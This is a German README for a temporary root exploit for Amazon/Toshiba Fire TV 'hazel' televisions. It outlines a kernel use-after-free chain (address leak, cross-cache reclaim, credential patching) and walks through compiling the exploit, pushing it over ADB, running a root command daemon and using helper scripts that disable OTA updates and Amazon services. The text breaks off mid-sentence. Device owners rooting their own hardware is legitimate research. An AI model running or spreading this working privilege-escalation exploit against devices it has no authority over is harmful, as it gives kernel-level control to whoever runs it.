
Firmware-spezifischer temporärer Root-Exploit für Toshiba/Amazon Fire TV (hazel) unter Verwendung von CVE-2026-43499. Implementiert ARM32-futex-PI-UAF, Kernel-Adressleck, mm_struct-Reclaim und Credential-Patching, um UID 0 über ADB zu erreichen.
Temporärer Root-Exploit für die Amazon hazel Fire TV Plattform, basierend auf
CVE-2026-43499. Der Exploit ist für die ARM32
Linux 4.9 Firmware gedacht, die von Hazel-Fernsehern mehrerer Hersteller gemeinsam genutzt wird.
Die Profile decken derzeit Firmware von PS7657.3645N bis PS7716.5665N ab.
Die aktuell hardwaregetestete Konfiguration ist:
| Gerät | Toshiba Fire TV (hazel) |
| Fire OS Build | PS7716.5665N |
| Kernel | Linux 4.9.113 |
| Produktmodell | AFTHA004 (C350) |
[!WARNING] Dieser Exploit bleibt firmwarespezifisch, obwohl er mehrere Hazel-Releases unterstützt. Kernel-Adressen, Struktur-Offsets und Reclaim-Einstellungen werden aus strikten Profilen geladen.
PS7716.5665Nist hardwaregetestet; die älteren mitgelieferten Profile basieren auf statischer Firmware-Analyse und benötigen noch Berichte von passenden Fernsehern.Umgehen Sie nicht die Profilübereinstimmung und kopieren Sie keine Adressen manuell in eine nicht zugehörige Firmware. Statisch generierte Profile erfordern weiterhin eine Bestätigung auf passender Hardware.
Ein fehlgeschlagener Heap-Reclaim kann einen Kernel-Panic auslösen und den Fernseher neu starten. Root ist temporär und geht nach einem Neustart verloren. Falls Ihr Fernseher einfriert, können Sie ihn jederzeit aus- und wieder einschalten.
Der Exploit nutzt CVE-2026-43499, um temporär UID 0 aus der normalen ADB-Shell-Umgebung zu erlangen.
Die Exploit-Kette umfasst:
mm_struct Cross-Cache-ReclaimNach einem erfolgreichen Lauf hält der Exploit die für den Root-Pfad erforderlichen Kernel-Objekte am Leben und startet einen lokalen Befehlsdaemon.
SELinux bleibt Enforcing. Über den Root-Daemon ausgeführte Befehle behalten die SELinux-Domain shell und das auf dieser Firmware verfügbare Capability-Bounding-Set.
hazel_root.c Haupt-Exploit, Kernel-Lese-/Schreibphase, Credential-Patching und Root-Befehl-Client/-Serverhazel_reclaim.h Kernel-Adressleck und mm_struct Cross-Cache-Reclaimhazel_profile.c, hazel_profile.h strikter Profil-Parser und Laufzeit-Matcherprofiles/ geprüfte und generierte Firmware-Profiletools/profile_creator/ Python/uv Firmware-Analysator und Ersteller kompatibler Profiletools/device_scripts/ optionale OTA-, Amazon-Service- und Launcher-DienstprogrammeDie folgenden Beispiele setzen Linux voraus und dass adb in $PATH verfügbar ist.
Setzen Sie NDK auf Ihr Android NDK r27d-Verzeichnis:
export NDK=/path/to/android-ndk-r27d
Dann kompilieren:
"$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" \
--target=armv7a-linux-androideabi28 \
-O2 -g0 -Wall -Wextra -Wpedantic -fPIE -pie \
hazel_root.c hazel_profile.c -o hazel_root \
-pthread
Verbinde dich per ADB mit dem Fernseher.
Bei Verwendung von Netzwerk-ADB:
adb connect <TV_IP>:5555
Den Exploit ausführen:
adb shell mkdir -p /data/local/tmp/profiles
adb push hazel_root /data/local/tmp/hazel_root
adb shell chmod 755 /data/local/tmp/hazel_root
adb push profiles/. /data/local/tmp/profiles/
Profilauswahl prüfen, ohne den Exploit auszulösen:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile'
Der Loader erfordert exakte Übereinstimmungen für ro.product.device, Build-Fingerprint, inkrementelle Version, Kernel-Release und Architektur. Er lehnt fehlerhafte Profile, unbekannte Felder, nicht unterstützte Exploit-Pfade, fehlende Übereinstimmungen und mehrere übereinstimmende Profile ab. Ein explizites Profil kann geprüft werden mit:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile --profile profiles/PROFILE.conf'
Beginne mit einem sauberen Neustart:
adb shell 'cd /data/local/tmp && ./hazel_root'
Ein erfolgreicher Lauf endet mit einer Ausgabe ähnlich wie:
[root] uid=0 euid=0 gid=0
[ROOT] uid=0 daemon pid=... socket=@hazel_root
Die Rückgewinnung ist probabilistisch. Ein erfolgloser Versuch kann sauber fehlschlagen oder eine Panik auslösen und den Fernseher neu starten.
Wenn der Fernseher neu startet, lassen Sie ihn normal hochfahren und versuchen Sie es erneut.
Sobald der Exploit erfolgreich ist, starten Sie keine weitere Kopie. Sie können den laufenden Prozess schließen und mit den nächsten Befehlen fortfahren.
Dieselbe Binärdatei fungiert als Client für den Root-Daemon:
adb shell 'cd /data/local/tmp && ./hazel_root --client id'
Zum Beispiel:
adb shell 'cd /data/local/tmp && ./hazel_root --client getenforce'
adb shell 'cd /data/local/tmp && ./hazel_root --client cat /proc/self/status'
adb shell 'cd /data/local/tmp && ./hazel_root --client "id; uname -a"'
Ein erfolgreicher Root-Befehl sollte Folgendes melden:
uid=0(root) gid=0(root) context=u:r:shell:s0
Beachten Sie, dass UID 0 SELinux nicht umgeht. SELinux bleibt im Enforcing-Modus.
Übertragen Sie tools/device_scripts/disable_ota.sh und führen Sie es über den Root-Daemon aus:
adb push tools/device_scripts/disable_ota.sh /data/local/tmp/disable_ota.sh
adb shell chmod 755 /data/local/tmp/disable_ota.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_ota.sh"'
Das Skript deaktiviert beide Fire OS OTA-Pakete, löscht den ausstehenden Updater-Zustand und überprüft den resultierenden Package-Manager-Zustand. Es startet den Fernseher nicht neu.
tools/device_scripts/disable_amazon_services.sh deaktiviert den Arcus-Remote-Konfigurations-Proxy, den ADEP-Anwendungsblockierungsdienst, Automatic Content Recognition (ACR) und die dedizierten Amazon-Metrik-Pakete, die auf der getesteten Hazel-Firmware vorhanden sind. ACR wird deaktiviert und seine gespeicherten Daten werden gelöscht, aber seine schreibgeschützte System-APK wird nicht entfernt, wodurch der Vorgang umkehrbar bleibt. Das Skript deaktiviert weder CrashManager noch die Low-Level-Logging-Pakete, sodass Kernel-Panic- und Dropbox-Diagnosen während der Entwicklung oder Fehlerbehebung des Exploits verfügbar bleiben.
Übertragen Sie das Skript und führen Sie es über den Root-Daemon aus:
adb push tools/device_scripts/disable_amazon_services.sh /data/local/tmp/disable_amazon_services.sh
adb shell chmod 755 /data/local/tmp/disable_amazon_services.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh"'
Zeigt den aktuellen Zustand an, ohne etwas zu verändern:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh status"'
Stellen Sie die Pakete später bei Bedarf wieder her:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh restore"'
Der aktivierte oder deaktivierte Paketzustand übersteht normalerweise einen Neustart. Das Wiederherstellen der Pakete stellt die Paketdaten nicht wieder her, die beim Deaktivieren gelöscht wurden.
Die Launcher-Skripte befinden sich ebenfalls in tools/device_scripts/. Um Projectivy auszuwählen: